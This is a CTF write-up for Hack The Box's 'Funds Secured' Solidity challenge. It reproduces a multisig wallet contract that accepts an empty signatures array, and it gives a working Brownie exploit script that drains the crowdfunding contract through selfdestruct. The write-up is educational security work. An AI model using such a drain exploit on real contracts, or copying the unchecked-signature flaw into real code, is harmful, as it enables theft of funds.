Skip to main content

HackTheBox Business CTF - Funds Secured

· 5 min read
Kaan Caglan

Funds Secured is a Solidity CTF challenge from Hack The Box. When we spawn the docker we are getting 2 different ip port pairs. From first question we know that

As you have already seen, there are 2 ports provided.

- The one port is the `tcp` port, which is used to retrieve information about connecting to the private chain, such as private key, and the target contract's addresses. You can connect to this one using `netcat`.
- The other port is the `rpc` url. You will need this in order to connect to the private chain.

In order to figure out which one is which, try using `netcat` against both. The one which works is the `tcp` port, while the other one is the `rpc url`.

One is TCP and the other one is RPC url.

docker spawned

If we try both we will see that 40733 port is the TCP one which we can retrieve information about challenge.

creds

So now we know our private key and the address of contracts.

Private key           :  0xbb278a509ad876c92bf293990c5afb786df13d8aa3d430e44068da13b07de96c
Address : 0x6363E5DEbc80d63F39816609C4Be458871Ce4df4
Crowdfunding contract : 0x78D3958259918349919A20582a02E32938e3928c
Wallet contract : 0x4657eC90D8791240D12928138c873118284BFe8C
Setup contract : 0x18d15f699D179FC5EF4B0738685Bee8543c19BBd

Connection

>>> from brownie import *

priv_key = '0xbb278a509ad876c92bf293990c5afb786df13d8aa3d430e44068da13b07de96c'
accounts.add(private_key=priv_key)
attacker = accounts[-1]


ip_port = 'http://94.237.49.147:49417'
web3.connect(ip_port)



setup = Setup.at('0x18d15f699D179FC5EF4B0738685Bee8543c19BBd')
wallet = CouncilWallet.at('0x4657eC90D8791240D12928138c873118284BFe8C')
crowdFunding = Crowdfunding.at('0x78D3958259918349919A20582a02E32938e3928c')

assert attacker.balance() > 0
>>> attacker.balance()
5000000000000000000000
>>> crowdFunding.balance()
1100000000000000000000

brownie-config.yaml

networks:
default: development
development:
host: 94.237.49.147
port: 49417
network_id: "*"
chainid: 31337

Source Codes

This contract has 2 main solidity file and couple helpers. I won't paste helpers here because they are useless for this challenge.

Setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {Crowdfunding} from "./Campaign.sol";
import {CouncilWallet} from "./Campaign.sol";

contract Setup {
Crowdfunding public immutable TARGET;
CouncilWallet public immutable WALLET;

constructor() payable {
// Generate the councilMember array
// which contains the addresses of the council members that control the multi sig wallet.
address[] memory councilMembers = new address[](11);
for (uint256 i = 0; i < 11; i++) {
councilMembers[i] = address(uint160(i));
}

WALLET = new CouncilWallet(councilMembers);
TARGET = new Crowdfunding(address(WALLET));

// Transfer enough funds to reach the campaing's goal.
(bool success,) = address(TARGET).call{value: 1100 ether}("");
require(success, "Transfer failed");
}

function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}

Campaign.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {ECDSA} from "./lib/ECDSA.sol";

/// @notice MultiSignature wallet used to end the Crowdfunding and transfer the funds to a desired address
contract CouncilWallet {
using ECDSA for bytes32;

address[] public councilMembers;

/// @notice Register the 11 council members in the wallet
constructor(address[] memory members) {
require(members.length == 11);
councilMembers = members;
}

/// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
address[] memory voters = new address[](6);
bytes32 data = keccak256(abi.encode(to));

for (uint256 i = 0; i < signatures.length; i++) {
// Get signer address
address signer = data.toEthSignedMessageHash().recover(signatures[i]);

// Ensure that signer is part of Council and has not already signed
require(signer != address(0), "Invalid signature");
require(_contains(councilMembers, signer), "Not council member");
require(!_contains(voters, signer), "Duplicate signature");

// Keep track of addresses that have already signed
voters[i] = signer;
// 6 signatures are enough to proceed with `closeCampaign` execution
if (i > 5) {
break;
}
}

Crowdfunding(crowdfundingContract).closeCampaign(to);
}

/// @notice Returns `true` if the `_address` exists in the address array `_array`, `false` otherwise
function _contains(address[] memory _array, address _address) private pure returns (bool) {
for (uint256 i = 0; i < _array.length; i++) {
if (_array[i] == _address) {
return true;
}
}
return false;
}
}

contract Crowdfunding {
address owner;

uint256 public constant TARGET_FUNDS = 1000 ether;

constructor(address _multisigWallet) {
owner = _multisigWallet;
}

receive() external payable {}

function donate() external payable {}

/// @notice Delete contract and transfer funds to specified address. Can only be called by owner
function closeCampaign(address to) public {
require(msg.sender == owner, "Only owner");
selfdestruct(payable(to));
}
}

Solution

If we take a look to the Setup contract it can be seen that to solve this question we need to make balance of TARGET 0. And we know that TARGET is Crowdfunding from Campaign.sol. The contract CrowdFunding has one function named closeCampaign which calls selfdestruct. And we know that if one contract calls selfdestruct all of the native tokens in the contract are transferred to the to parameter which is given as an argument to selfdestruct function. So somehow we need to call that function. On the contract CouncilWallet there is also another function named closeCampaign and at the end of that function it is calling closeCampaign function of the contract Crowdfunding. So it means as an attacker we need to call this function.

That function is getting an array of signatures and then it checks if all of the signatures are valid and it calls closeCampaign after that. However it can be seen that that function does not have any length restrictions for signatures array. So it means we can give empty signatures array to that function, give our address as to and give the address of Crowdfunding contract. At the end since it won't enter to the for loop it will directly call closeCampaign and we will have all the money.

POC

>>> wallet.closeCampaign([], attacker, crowdFunding.address, {'from': attacker})
Transaction sent: 0x7a88080ff4f023e7b5fa4e0d4489d627fb00de19727b11d3275b18f1afdce00c
Gas price: 0.0 gwei Gas limit: 30000000 Nonce: 0
CouncilWallet.closeCampaign confirmed Block: 2 Gas used: 33544 (0.11%)

<Transaction '0x7a88080ff4f023e7b5fa4e0d4489d627fb00de19727b11d3275b18f1afdce00c'>

>>> attacker.balance()
6100000000000000000000
>>> wallet.balance()
0

flag

Brownie Script

from brownie import *

priv_key = '0xbb278a509ad876c92bf293990c5afb786df13d8aa3d430e44068da13b07de96c'
accounts.add(private_key=priv_key)
attacker = accounts[-1]


ip_port = 'http://94.237.49.147:49417'
web3.connect(ip_port)

setup = Setup.at('0x18d15f699D179FC5EF4B0738685Bee8543c19BBd')
wallet = CouncilWallet.at('0x4657eC90D8791240D12928138c873118284BFe8C')
crowdFunding = Crowdfunding.at('0x78D3958259918349919A20582a02E32938e3928c')

assert attacker.balance() > 0

wallet.closeCampaign([], attacker, crowdFunding.address(), {'from': attacker})

assert wallet.balance() == 0